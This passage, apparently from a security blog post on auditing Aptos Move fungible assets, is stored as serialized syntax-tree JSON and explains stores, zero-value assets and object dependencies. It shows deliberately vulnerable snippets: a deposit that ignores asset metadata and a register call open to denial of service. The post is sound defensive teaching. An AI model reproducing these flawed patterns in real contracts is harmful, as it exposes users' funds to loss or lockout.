sender",{"type":23,"tag":481,"props":59242,"children":59243},{"style":514},[59244],{"type":28,"value":287},{"type":23,"tag":481,"props":59246,"children":59247},{"style":514},[59248],{"type":28,"value":4619},{"type":23,"tag":481,"props":59250,"children":59251},{"style":508},[59252],{"type":28,"value":4624},{"type":23,"tag":481,"props":59254,"children":59255},{"style":525},[59256],{"type":28,"value":588},{"type":23,"tag":481,"props":59258,"children":59259},{"style":508},[59260],{"type":28,"value":59261},"fa",{"type":23,"tag":481,"props":59263,"children":59264},{"style":514},[59265],{"type":28,"value":287},{"type":23,"tag":481,"props":59267,"children":59268},{"style":943},[59269],{"type":28,"value":59270}," FungibleAsset\n",{"type":23,"tag":481,"props":59272,"children":59273},{"class":483,"line":531},[59274,59278,59282,59286,59290],{"type":23,"tag":481,"props":59275,"children":59276},{"style":525},[59277],{"type":28,"value":598},{"type":23,"tag":481,"props":59279,"children":59280},{"style":508},[59281],{"type":28,"value":3821},{"type":23,"tag":481,"props":59283,"children":59284},{"style":525},[59285],{"type":28,"value":20531},{"type":23,"tag":481,"props":59287,"children":59288},{"style":514},[59289],{"type":28,"value":7074},{"type":23,"tag":481,"props":59291,"children":59292},{"style":525},[59293],{"type":28,"value":59294},"] {\n",{"type":23,"tag":481,"props":59296,"children":59297},{"class":483,"line":567},[59298,59303],{"type":23,"tag":481,"props":59299,"children":59300},{"style":610},[59301],{"type":28,"value":59302}," assert_not_paused",{"type":23,"tag":481,"props":59304,"children":59305},{"style":525},[59306],{"type":28,"value":1201},{"type":23,"tag":481,"props":59308,"children":59309},{"class":483,"line":678},[59310],{"type":23,"tag":481,"props":59311,"children":59312},{"style":525},[59313],{"type":28,"value":59314}," \n",{"type":23,"tag":481,"props":59316,"children":59317},{"class":483,"line":784},[59318,59322,59327,59331,59336,59340,59344,59348,59352,59356],{"type":23,"tag":481,"props":59319,"children":59320},{"style":497},[59321],{"type":28,"value":500},{"type":23,"tag":481,"props":59323,"children":59324},{"style":508},[59325],{"type":28,"value":59326}," fa_amount",{"type":23,"tag":481,"props":59328,"children":59329},{"style":514},[59330],{"type":28,"value":517},{"type":23,"tag":481,"props":59332,"children":59333},{"style":525},[59334],{"type":28,"value":59335}," fungible_asset",{"type":23,"tag":481,"props":59337,"children":59338},{"style":514},[59339],{"type":28,"value":1006},{"type":23,"tag":481,"props":59341,"children":59342},{"style":610},[59343],{"type":28,"value":17804},{"type":23,"tag":481,"props":59345,"children":59346},{"style":525},[59347],{"type":28,"value":618},{"type":23,"tag":481,"props":59349,"children":59350},{"style":514},[59351],{"type":28,"value":623},{"type":23,"tag":481,"props":59353,"children":59354},{"style":508},[59355],{"type":28,"value":59261},{"type":23,"tag":481,"props":59357,"children":59358},{"style":525},[59359],{"type":28,"value":1366},{"type":23,"tag":481,"props":59361,"children":59362},{"class":483,"line":812},[59363,59367,59372,59376,59381,59385,59390],{"type":23,"tag":481,"props":59364,"children":59365},{"style":497},[59366],{"type":28,"value":500},{"type":23,"tag":481,"props":59368,"children":59369},{"style":508},[59370],{"type":28,"value":59371}," sender_address",{"type":23,"tag":481,"props":59373,"children":59374},{"style":514},[59375],{"type":28,"value":517},{"type":23,"tag":481,"props":59377,"children":59378},{"style":610},[59379],{"type":28,"value":59380}," address_of",{"type":23,"tag":481,"props":59382,"children":59383},{"style":525},[59384],{"type":28,"value":618},{"type":23,"tag":481,"props":59386,"children":59387},{"style":508},[59388],{"type":28,"value":59389},"sender",{"type":23,"tag":481,"props":59391,"children":59392},{"style":525},[59393],{"type":28,"value":1366},{"type":23,"tag":481,"props":59395,"children":59396},{"class":483,"line":825},[59397,59402,59406,59411,59415,59420],{"type":23,"tag":481,"props":59398,"children":59399},{"style":610},[59400],{"type":28,"value":59401}," check_compliance",{"type":23,"tag":481,"props":59403,"children":59404},{"style":525},[59405],{"type":28,"value":618},{"type":23,"tag":481,"props":59407,"children":59408},{"style":508},[59409],{"type":28,"value":59410},"fa_amount",{"type":23,"tag":481,"props":59412,"children":59413},{"style":525},[59414],{"type":28,"value":588},{"type":23,"tag":481,"props":59416,"children":59417},{"style":508},[59418],{"type":28,"value":59419},"sender_address",{"type":23,"tag":481,"props":59421,"children":59422},{"style":525},[59423],{"type":28,"value":1366},{"type":23,"tag":481,"props":59425,"children":59426},{"class":483,"line":843},[59427],{"type":23,"tag":481,"props":59428,"children":59429},{"style":525},[59430],{"type":28,"value":59314},{"type":23,"tag":481,"props":59432,"children":59433},{"class":483,"line":864},[59434,59439,59443,59448,59452,59456,59460,59464],{"type":23,"tag":481,"props":59435,"children":59436},{"style":610},[59437],{"type":28,"value":59438}," increase_deposit",{"type":23,"tag":481,"props":59440,"children":59441},{"style":525},[59442],{"type":28,"value":618},{"type":23,"tag":481,"props":59444,"children":59445},{"style":610},[59446],{"type":28,"value":59447},"get_vault",{"type":23,"tag":481,"props":59449,"children":59450},{"style":525},[59451],{"type":28,"value":618},{"type":23,"tag":481,"props":59453,"children":59454},{"style":508},[59455],{"type":28,"value":59419},{"type":23,"tag":481,"props":59457,"children":59458},{"style":525},[59459],{"type":28,"value":12666},{"type":23,"tag":481,"props":59461,"children":59462},{"style":508},[59463],{"type":28,"value":59410},{"type":23,"tag":481,"props":59465,"children":59466},{"style":525},[59467],{"type":28,"value":1366},{"type":23,"tag":481,"props":59469,"children":59470},{"class":483,"line":873},[59471],{"type":23,"tag":481,"props":59472,"children":59473},{"style":525},[59474],{"type":28,"value":59314},{"type":23,"tag":481,"props":59476,"children":59477},{"class":483,"line":1125},[59478,59483,59487,59492,59496,59501,59505,59509],{"type":23,"tag":481,"props":59479,"children":59480},{"style":525},[59481],{"type":28,"value":59482}," primary_fungible_store",{"type":23,"tag":481,"props":59484,"children":59485},{"style":514},[59486],{"type":28,"value":1006},{"type":23,"tag":481,"props":59488,"children":59489},{"style":610},[59490],{"type":28,"value":59491},"deposit",{"type":23,"tag":481,"props":59493,"children":59494},{"style":525},[59495],{"type":28,"value":618},{"type":23,"tag":481,"props":59497,"children":59498},{"style":610},[59499],{"type":28,"value":59500},"global_vault_address",{"type":23,"tag":481,"props":59502,"children":59503},{"style":525},[59504],{"type":28,"value":15869},{"type":23,"tag":481,"props":59506,"children":59507},{"style":508},[59508],{"type":28,"value":59261},{"type":23,"tag":481,"props":59510,"children":59511},{"style":525},[59512],{"type":28,"value":1366},{"type":23,"tag":481,"props":59514,"children":59515},{"class":483,"line":1142},[59516],{"type":23,"tag":481,"props":59517,"children":59518},{"style":525},[59519],{"type":28,"value":59314},{"type":23,"tag":481,"props":59521,"children":59522},{"class":483,"line":1159},[59523,59528,59532,59537,59541,59546,59550,59554,59558,59562],{"type":23,"tag":481,"props":59524,"children":59525},{"style":525},[59526],{"type":28,"value":59527}," event",{"type":23,"tag":481,"props":59529,"children":59530},{"style":514},[59531],{"type":28,"value":1006},{"type":23,"tag":481,"props":59533,"children":59534},{"style":610},[59535],{"type":28,"value":59536},"emit",{"type":23,"tag":481,"props":59538,"children":59539},{"style":525},[59540],{"type":28,"value":618},{"type":23,"tag":481,"props":59542,"children":59543},{"style":943},[59544],{"type":28,"value":59545},"Deposit",{"type":23,"tag":481,"props":59547,"children":59548},{"style":525},[59549],{"type":28,"value":42741},{"type":23,"tag":481,"props":59551,"children":59552},{"style":508},[59553],{"type":28,"value":59419},{"type":23,"tag":481,"props":59555,"children":59556},{"style":525},[59557],{"type":28,"value":588},{"type":23,"tag":481,"props":59559,"children":59560},{"style":508},[59561],{"type":28,"value":59410},{"type":23,"tag":481,"props":59563,"children":59564},{"style":525},[59565],{"type":28,"value":30538},{"type":23,"tag":481,"props":59567,"children":59568},{"class":483,"line":1172},[59569],{"type":23,"tag":481,"props":59570,"children":59571},{"style":525},[59572],{"type":28,"value":1443},{"type":23,"tag":24,"props":59574,"children":59575},{},[59576],{"type":28,"value":59577},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":24,"props":59579,"children":59580},{},[59581],{"type":28,"value":59582},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":31,"props":59584,"children":59586},{"id":59585},"fungible-stores",[59587],{"type":28,"value":59588},"Fungible stores",{"type":23,"tag":24,"props":59590,"children":59591},{},[59592],{"type":28,"value":59593},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":24,"props":59595,"children":59596},{},[59597,59599,59605],{"type":28,"value":59598},"Meet the ",{"type":23,"tag":64,"props":59600,"children":59602},{"className":59601},[],[59603],{"type":28,"value":59604},"FungibleStore",{"type":28,"value":199},{"type":23,"tag":435,"props":59607,"children":59609},{"className":475,"code":59608,"language":474,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[59610],{"type":23,"tag":64,"props":59611,"children":59612},{"__ignoreMap":7},[59613,59637,59664,59684,59703],{"type":23,"tag":481,"props":59614,"children":59615},{"class":483,"line":484},[59616,59620,59625,59629,59633],{"type":23,"tag":481,"props":59617,"children":59618},{"style":497},[59619],{"type":28,"value":6884},{"type":23,"tag":481,"props":59621,"children":59622},{"style":943},[59623],{"type":28,"value":59624}," FungibleStore",{"type":23,"tag":481,"props":59626,"children":59627},{"style":508},[59628],{"type":28,"value":6893},{"type":23,"tag":481,"props":59630,"children":59631},{"style":508},[59632],{"type":28,"value":3408},{"type":23,"tag":481,"props":59634,"children":59635},{"style":525},[59636],{"type":28,"value":809},{"type":23,"tag":481,"props":59638,"children":59639},{"class":483,"line":351},[59640,59644,59648,59652,59656,59660],{"type":23,"tag":481,"props":59641,"children":59642},{"style":508},[59643],{"type":28,"value":59080},{"type":23,"tag":481,"props":59645,"children":59646},{"style":514},[59647],{"type":28,"value":287},{"type":23,"tag":481,"props":59649,"children":59650},{"style":943},[59651],{"type":28,"value":59089},{"type":23,"tag":481,"props":59653,"children":59654},{"style":525},[59655],{"type":28,"value":3282},{"type":23,"tag":481,"props":59657,"children":59658},{"style":943},[59659],{"type":28,"value":59098},{"type":23,"tag":481,"props":59661,"children":59662},{"style":525},[59663],{"type":28,"value":3615},{"type":23,"tag":481,"props":59665,"children":59666},{"class":483,"line":531},[59667,59672,59676,59680],{"type":23,"tag":481,"props":59668,"children":59669},{"style":508},[59670],{"type":28,"value":59671}," balance",{"type":23,"tag":481,"props":59673,"children":59674},{"style":514},[59675],{"type":28,"value":287},{"type":23,"tag":481,"props":59677,"children":59678},{"style":943},[59679],{"type":28,"value":3336},{"type":23,"tag":481,"props":59681,"children":59682},{"style":525},[59683],{"type":28,"value":1033},{"type":23,"tag":481,"props":59685,"children":59686},{"class":483,"line":567},[59687,59691,59695,59699],{"type":23,"tag":481,"props":59688,"children":59689},{"style":508},[59690],{"type":28,"value":58741},{"type":23,"tag":481,"props":59692,"children":59693},{"style":514},[59694],{"type":28,"value":287},{"type":23,"tag":481,"props":59696,"children":59697},{"style":943},[59698],{"type":28,"value":9537},{"type":23,"tag":481,"props":59700,"children":59701},{"style":525},[59702],{"type":28,"value":1033},{"type":23,"tag":481,"props":59704,"children":59705},{"class":483,"line":678},[59706],{"type":23,"tag":481,"props":59707,"children":59708},{"style":525},[59709],{"type":28,"value":1443},{"type":23,"tag":24,"props":59711,"children":59712},{},[59713,59718,59720,59725,59727,59732,59734,59739,59741,59746],{"type":23,"tag":64,"props":59714,"children":59716},{"className":59715},[],[59717],{"type":28,"value":59604},{"type":28,"value":59719}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":64,"props":59721,"children":59723},{"className":59722},[],[59724],{"type":28,"value":59039},{"type":28,"value":59726}," (it can't because ",{"type":23,"tag":64,"props":59728,"children":59730},{"className":59729},[],[59731],{"type":28,"value":59039},{"type":28,"value":59733}," doesn't have ",{"type":23,"tag":64,"props":59735,"children":59737},{"className":59736},[],[59738],{"type":28,"value":3417},{"type":28,"value":59740},"). Withdrawals create temporary ",{"type":23,"tag":64,"props":59742,"children":59744},{"className":59743},[],[59745],{"type":28,"value":59039},{"type":28,"value":59747}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":16288,"props":59749,"children":59750},{},[],{"type":23,"tag":24,"props":59752,"children":59753},{},[59754,59756,59761,59763,59768],{"type":28,"value":59755},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":64,"props":59757,"children":59759},{"className":59758},[],[59760],{"type":28,"value":59039},{"type":28,"value":59762}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":64,"props":59764,"children":59766},{"className":59765},[],[59767],{"type":28,"value":59039},{"type":28,"value":199},{"type":23,"tag":435,"props":59770,"children":59772},{"className":475,"code":59771,"language":474,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[59773],{"type":23,"tag":64,"props":59774,"children":59775},{"__ignoreMap":7},[59776,59813,59865,59908,59915,59922,59994,60006,60044,60063,60070],{"type":23,"tag":481,"props":59777,"children":59778},{"class":483,"line":484},[59779,59783,59787,59792,59796,59801,59805,59809],{"type":23,"tag":481,"props":59780,"children":59781},{"style":508},[59782],{"type":28,"value":59203},{"type":23,"tag":481,"props":59784,"children":59785},{"style":508},[59786],{"type":28,"value":3684},{"type":23,"tag":481,"props":59788,"children":59789},{"style":610},[59790],{"type":28,"value":59791}," destroy_zero",{"type":23,"tag":481,"props":59793,"children":59794},{"style":525},[59795],{"type":28,"value":618},{"type":23,"tag":481,"props":59797,"children":59798},{"style":508},[59799],{"type":28,"value":59800},"fungible_asset",{"type":23,"tag":481,"props":59802,"children":59803},{"style":514},[59804],{"type":28,"value":287},{"type":23,"tag":481,"props":59806,"children":59807},{"style":943},[59808],{"type":28,"value":59068},{"type":23,"tag":481,"props":59810,"children":59811},{"style":525},[59812],{"type":28,"value":12292},{"type":23,"tag":481,"props":59814,"children":59815},{"class":483,"line":351},[59816,59820,59824,59828,59832,59836,59841,59845,59849,59853,59857,59861],{"type":23,"tag":481,"props":59817,"children":59818},{"style":497},[59819],{"type":28,"value":500},{"type":23,"tag":481,"props":59821,"children":59822},{"style":943},[59823],{"type":28,"value":59068},{"type":23,"tag":481,"props":59825,"children":59826},{"style":525},[59827],{"type":28,"value":7069},{"type":23,"tag":481,"props":59829,"children":59830},{"style":508},[59831],{"type":28,"value":17804},{"type":23,"tag":481,"props":59833,"children":59834},{"style":525},[59835],{"type":28,"value":588},{"type":23,"tag":481,"props":59837,"children":59838},{"style":508},[59839],{"type":28,"value":59840},"metadata",{"type":23,"tag":481,"props":59842,"children":59843},{"style":514},[59844],{"type":28,"value":287},{"type":23,"tag":481,"props":59846,"children":59847},{"style":508},[59848],{"type":28,"value":543},{"type":23,"tag":481,"props":59850,"children":59851},{"style":525},[59852],{"type":28,"value":33720},{"type":23,"tag":481,"props":59854,"children":59855},{"style":514},[59856],{"type":28,"value":603},{"type":23,"tag":481,"props":59858,"children":59859},{"style":508},[59860],{"type":28,"value":59335},{"type":23,"tag":481,"props":59862,"children":59863},{"style":525},[59864],{"type":28,"value":528},{"type":23,"tag":481,"props":59866,"children":59867},{"class":483,"line":531},[59868,59873,59877,59881,59885,59889,59894,59898,59903],{"type":23,"tag":481,"props":59869,"children":59870},{"style":610},[59871],{"type":28,"value":59872}," assert!",{"type":23,"tag":481,"props":59874,"children":59875},{"style":525},[59876],{"type":28,"value":618},{"type":23,"tag":481,"props":59878,"children":59879},{"style":508},[59880],{"type":28,"value":17804},{"type":23,"tag":481,"props":59882,"children":59883},{"style":514},[59884],{"type":28,"value":800},{"type":23,"tag":481,"props":59886,"children":59887},{"style":551},[59888],{"type":28,"value":554},{"type":23,"tag":481,"props":59890,"children":59891},{"style":525},[59892],{"type":28,"value":59893},", error",{"type":23,"tag":481,"props":59895,"children":59896},{"style":514},[59897],{"type":28,"value":1006},{"type":23,"tag":481,"props":59899,"children":59900},{"style":610},[59901],{"type":28,"value":59902},"invalid_argument",{"type":23,"tag":481,"props":59904,"children":59905},{"style":525},[59906],{"type":28,"value":59907},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":481,"props":59909,"children":59910},{"class":483,"line":567},[59911],{"type":23,"tag":481,"props":59912,"children":59913},{"style":525},[59914],{"type":28,"value":1443},{"type":23,"tag":481,"props":59916,"children":59917},{"class":483,"line":678},[59918],{"type":23,"tag":481,"props":59919,"children":59920},{"emptyLinePlaceholder":15},[59921],{"type":28,"value":1210},{"type":23,"tag":481,"props":59923,"children":59924},{"class":483,"line":784},[59925,59929,59933,59938,59942,59946,59950,59954,59958,59962,59966,59970,59974,59978,59982,59986,59990],{"type":23,"tag":481,"props":59926,"children":59927},{"style":508},[59928],{"type":28,"value":59203},{"type":23,"tag":481,"props":59930,"children":59931},{"style":508},[59932],{"type":28,"value":3684},{"type":23,"tag":481,"props":59934,"children":59935},{"style":508},[59936],{"type":28,"value":59937}," zero",{"type":23,"tag":481,"props":59939,"children":59940},{"style":525},[59941],{"type":28,"value":3282},{"type":23,"tag":481,"props":59943,"children":59944},{"style":943},[59945],{"type":28,"value":3464},{"type":23,"tag":481,"props":59947,"children":59948},{"style":514},[59949],{"type":28,"value":287},{"type":23,"tag":481,"props":59951,"children":59952},{"style":508},[59953],{"type":28,"value":3408},{"type":23,"tag":481,"props":59955,"children":59956},{"style":525},[59957],{"type":28,"value":5089},{"type":23,"tag":481,"props":59959,"children":59960},{"style":508},[59961],{"type":28,"value":59840},{"type":23,"tag":481,"props":59963,"children":59964},{"style":514},[59965],{"type":28,"value":287},{"type":23,"tag":481,"props":59967,"children":59968},{"style":943},[59969],{"type":28,"value":59089},{"type":23,"tag":481,"props":59971,"children":59972},{"style":525},[59973],{"type":28,"value":3282},{"type":23,"tag":481,"props":59975,"children":59976},{"style":943},[59977],{"type":28,"value":3464},{"type":23,"tag":481,"props":59979,"children":59980},{"style":525},[59981],{"type":28,"value":5868},{"type":23,"tag":481,"props":59983,"children":59984},{"style":514},[59985],{"type":28,"value":287},{"type":23,"tag":481,"props":59987,"children":59988},{"style":943},[59989],{"type":28,"value":59068},{"type":23,"tag":481,"props":59991,"children":59992},{"style":525},[59993],{"type":28,"value":809},{"type":23,"tag":481,"props":59995,"children":59996},{"class":483,"line":812},[59997,60002],{"type":23,"tag":481,"props":59998,"children":59999},{"style":943},[60000],{"type":28,"value":60001}," FungibleAsset",{"type":23,"tag":481,"props":60003,"children":60004},{"style":525},[60005],{"type":28,"value":809},{"type":23,"tag":481,"props":60007,"children":60008},{"class":483,"line":825},[60009,60014,60018,60023,60027,60032,60036,60040],{"type":23,"tag":481,"props":60010,"children":60011},{"style":508},[60012],{"type":28,"value":60013}," metadata",{"type":23,"tag":481,"props":60015,"children":60016},{"style":514},[60017],{"type":28,"value":287},{"type":23,"tag":481,"props":60019,"children":60020},{"style":525},[60021],{"type":28,"value":60022}," object",{"type":23,"tag":481,"props":60024,"children":60025},{"style":514},[60026],{"type":28,"value":1006},{"type":23,"tag":481,"props":60028,"children":60029},{"style":610},[60030],{"type":28,"value":60031},"convert",{"type":23,"tag":481,"props":60033,"children":60034},{"style":525},[60035],{"type":28,"value":618},{"type":23,"tag":481,"props":60037,"children":60038},{"style":508},[60039],{"type":28,"value":59840},{"type":23,"tag":481,"props":60041,"children":60042},{"style":525},[60043],{"type":28,"value":4214},{"type":23,"tag":481,"props":60045,"children":60046},{"class":483,"line":843},[60047,60051,60055,60059],{"type":23,"tag":481,"props":60048,"children":60049},{"style":508},[60050],{"type":28,"value":4927},{"type":23,"tag":481,"props":60052,"children":60053},{"style":514},[60054],{"type":28,"value":287},{"type":23,"tag":481,"props":60056,"children":60057},{"style":551},[60058],{"type":28,"value":554},{"type":23,"tag":481,"props":60060,"children":60061},{"style":525},[60062],{"type":28,"value":1033},{"type":23,"tag":481,"props":60064,"children":60065},{"class":483,"line":864},[60066],{"type":23,"tag":481,"props":60067,"children":60068},{"style":525},[60069],{"type":28,"value":879},{"type":23,"tag":481,"props":60071,"children":60072},{"class":483,"line":873},[60073],{"type":23,"tag":481,"props":60074,"children":60075},{"style":525},[60076],{"type":28,"value":1443},{"type":23,"tag":24,"props":60078,"children":60079},{},[60080],{"type":28,"value":60081},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":24,"props":60083,"children":60084},{},[60085,60087,60092],{"type":28,"value":60086},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":64,"props":60088,"children":60090},{"className":60089},[],[60091],{"type":28,"value":59181},{"type":28,"value":60093}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":7092,"props":60095,"children":60097},{"id":60096},"primary-and-secondary-stores",[60098],{"type":28,"value":60099},"Primary and secondary stores",{"type":23,"tag":24,"props":60101,"children":60102},{},[60103,60109,60111,60117,60119,60124],{"type":23,"tag":64,"props":60104,"children":60106},{"className":60105},[],[60107],{"type":28,"value":60108},"FungibleStores",{"type":28,"value":60110}," in comparison to ",{"type":23,"tag":64,"props":60112,"children":60114},{"className":60113},[],[60115],{"type":28,"value":60116},"CoinStores",{"type":28,"value":60118}," are not unique. Each user can have multiple ",{"type":23,"tag":64,"props":60120,"children":60122},{"className":60121},[],[60123],{"type":28,"value":59604},{"type":28,"value":60125}," objects for a given token!",{"type":23,"tag":24,"props":60127,"children":60128},{},[60129,60131,60138,60140,60145],{"type":28,"value":60130},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":190,"props":60132,"children":60135},{"href":60133,"rel":60134},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[194],[60136],{"type":28,"value":60137},"primary_fungible_store",{"type":28,"value":60139}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":64,"props":60141,"children":60143},{"className":60142},[],[60144],{"type":28,"value":59098},{"type":28,"value":60146}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":24,"props":60148,"children":60149},{},[60150],{"type":28,"value":60151},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":435,"props":60153,"children":60155},{"className":475,"code":60154,"language":474,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[60156],{"type":23,"tag":64,"props":60157,"children":60158},{"__ignoreMap":7},[60159,60184,60216,60239,60255,60309,60324],{"type":23,"tag":481,"props":60160,"children":60161},{"class":483,"line":484},[60162,60166,60171,60175,60180],{"type":23,"tag":481,"props":60163,"children":60164},{"style":508},[60165],{"type":28,"value":59203},{"type":23,"tag":481,"props":60167,"children":60168},{"style":508},[60169],{"type":28,"value":60170}," entry",{"type":23,"tag":481,"props":60172,"children":60173},{"style":508},[60174],{"type":28,"value":3684},{"type":23,"tag":481,"props":60176,"children":60177},{"style":610},[60178],{"type":28,"value":60179}," register",{"type":23,"tag":481,"props":60181,"children":60182},{"style":525},[60183],{"type":28,"value":988},{"type":23,"tag":481,"props":60185,"children":60186},{"class":483,"line":351},[60187,60192,60196,60200,60204,60208,60212],{"type":23,"tag":481,"props":60188,"children":60189},{"style":508},[60190],{"type":28,"value":60191}," user",{"type":23,"tag":481,"props":60193,"children":60194},{"style":514},[60195],{"type":28,"value":287},{"type":23,"tag":481,"props":60197,"children":60198},{"style":514},[60199],{"type":28,"value":4619},{"type":23,"tag":481,"props":60201,"children":60202},{"style":508},[60203],{"type":28,"value":4624},{"type":23,"tag":481,"props":60205,"children":60206},{"style":525},[60207],{"type":28,"value":41659},{"type":23,"tag":481,"props":60209,"children":60210},{"style":514},[60211],{"type":28,"value":7074},{"type":23,"tag":481,"props":60213,"children":60214},{"style":525},[60215],{"type":28,"value":9259},{"type":23,"tag":481,"props":60217,"children":60218},{"class":483,"line":531},[60219,60223,60227,60231,60235],{"type":23,"tag":481,"props":60220,"children":60221},{"style":525},[60222],{"type":28,"value":598},{"type":23,"tag":481,"props":60224,"children":60225},{"style":508},[60226],{"type":28,"value":3821},{"type":23,"tag":481,"props":60228,"children":60229},{"style":525},[60230],{"type":28,"value":20531},{"type":23,"tag":481,"props":60232,"children":60233},{"style":514},[60234],{"type":28,"value":7074},{"type":23,"tag":481,"props":60236,"children":60237},{"style":525},[60238],{"type":28,"value":59294},{"type":23,"tag":481,"props":60240,"children":60241},{"class":483,"line":567},[60242,60247,60251],{"type":23,"tag":481,"props":60243,"children":60244},{"style":525},[60245],{"type":28,"value":60246}," [",{"type":23,"tag":481,"props":60248,"children":60249},{"style":514},[60250],{"type":28,"value":7074},{"type":23,"tag":481,"props":60252,"children":60253},{"style":525},[60254],{"type":28,"value":9259},{"type":23,"tag":481,"props":60256,"children":60257},{"class":483,"line":678},[60258,60262,60267,60271,60276,60280,60284,60288,60292,60296,60300,60305],{"type":23,"tag":481,"props":60259,"children":60260},{"style":497},[60261],{"type":28,"value":500},{"type":23,"tag":481,"props":60263,"children":60264},{"style":508},[60265],{"type":28,"value":60266}," wallet_store",{"type":23,"tag":481,"props":60268,"children":60269},{"style":514},[60270],{"type":28,"value":517},{"type":23,"tag":481,"props":60272,"children":60273},{"style":610},[60274],{"type":28,"value":60275}," create_primary_store",{"type":23,"tag":481,"props":60277,"children":60278},{"style":525},[60279],{"type":28,"value":4678},{"type":23,"tag":481,"props":60281,"children":60282},{"style":514},[60283],{"type":28,"value":1006},{"type":23,"tag":481,"props":60285,"children":60286},{"style":610},[60287],{"type":28,"value":4687},{"type":23,"tag":481,"props":60289,"children":60290},{"style":525},[60291],{"type":28,"value":618},{"type":23,"tag":481,"props":60293,"children":60294},{"style":508},[60295],{"type":28,"value":59389},{"type":23,"tag":481,"props":60297,"children":60298},{"style":525},[60299],{"type":28,"value":12666},{"type":23,"tag":481,"props":60301,"children":60302},{"style":610},[60303],{"type":28,"value":60304},"get_metadata",{"type":23,"tag":481,"props":60306,"children":60307},{"style":525},[60308],{"type":28,"value":12914},{"type":23,"tag":481,"props":60310,"children":60311},{"class":483,"line":784},[60312,60316,60320],{"type":23,"tag":481,"props":60313,"children":60314},{"style":525},[60315],{"type":28,"value":60246},{"type":23,"tag":481,"props":60317,"children":60318},{"style":514},[60319],{"type":28,"value":7074},{"type":23,"tag":481,"props":60321,"children":60322},{"style":525},[60323],{"type":28,"value":9259},{"type":23,"tag":481,"props":60325,"children":60326},{"class":483,"line":812},[60327],{"type":23,"tag":481,"props":60328,"children":60329},{"style":525},[60330],{"type":28,"value":1443},{"type":23,"tag":24,"props":60332,"children":60333},{},[60334,60335,60341,60343,60349],{"type":28,"value":14104},{"type":23,"tag":64,"props":60336,"children":60338},{"className":60337},[],[60339],{"type":28,"value":60340},"create_primary_store",{"type":28,"value":60342}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":64,"props":60344,"children":60346},{"className":60345},[],[60347],{"type":28,"value":60348},"ensure_primary_store_exists",{"type":28,"value":60350}," is recommended to avoid such issues.",{"type":23,"tag":31,"props":60352,"children":60354},{"id":60353},"fungible-assets-and-objects",[60355],{"type":28,"value":60356},"Fungible assets and objects",{"type":23,"tag":24,"props":60358,"children":60359},{},[60360,60362,60367,60369,60376],{"type":28,"value":60361},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":64,"props":60363,"children":60365},{"className":60364},[],[60366],{"type":28,"value":46376},{"type":28,"value":60368}," module, introduced in ",{"type":23,"tag":190,"props":60370,"children":60373},{"href":60371,"rel":60372},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[194],[60374],{"type":28,"value":60375},"AIP-10",{"type":28,"value":199},{"type":23,"tag":426,"props":60378,"children":60379},{},[60380],{"type":23,"tag":24,"props":60381,"children":60382},{},[60383,60387],{"type":23,"tag":481,"props":60384,"children":60385},{},[60386],{"type":28,"value":58978},{"type":28,"value":60388}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":24,"props":60390,"children":60391},{},[60392],{"type":28,"value":60393},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":7092,"props":60395,"children":60397},{"id":60396},"creation-and-deletion",[60398],{"type":28,"value":60399},"Creation and deletion",{"type":23,"tag":24,"props":60401,"children":60402},{},[60403,60405,60411],{"type":28,"value":60404},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":64,"props":60406,"children":60408},{"className":60407},[],[60409],{"type":28,"value":60410},"fungible_asset::add_fungibility",{"type":28,"value":287},{"type":23,"tag":435,"props":60413,"children":60415},{"className":475,"code":60414,"language":474,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), 